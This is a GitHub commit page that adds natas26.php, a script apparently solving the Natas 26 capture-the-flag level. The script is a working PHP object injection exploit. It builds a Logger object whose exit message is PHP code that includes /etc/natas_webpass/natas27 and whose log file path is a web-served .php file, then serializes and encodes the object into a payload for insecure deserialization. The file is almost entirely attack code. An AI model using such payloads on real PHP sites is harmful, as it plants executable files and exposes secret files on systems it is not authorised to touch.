Skip to content

Commit

Permalink
Added Natas26 code to generate the Injection Object
Browse files Browse the repository at this point in the history
  • Loading branch information
terrabitz committed Jun 28, 2017
1 parent cdbf20b commit 8795d13
Showing 1 changed file with 25 additions and 0 deletions.
25 changes: 25 additions & 0 deletions natas26.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;

function __construct(){
// initialise variables
$this->initMsg="";
$this->exitMsg="<?php include('/etc/natas_webpass/natas27') ?>";
$this->logFile = "img/pass.php";
}
}

$logger = new Logger();

$serialized = serialize($logger);
echo $serialized;
echo "\n";
$encoded = base64_encode($serialized);
echo $encoded;
echo "\n";
$url_encoded = urlencode($encoded);
echo $url_encoded;
?>

0 comments on commit 8795d13

Please sign in to comment.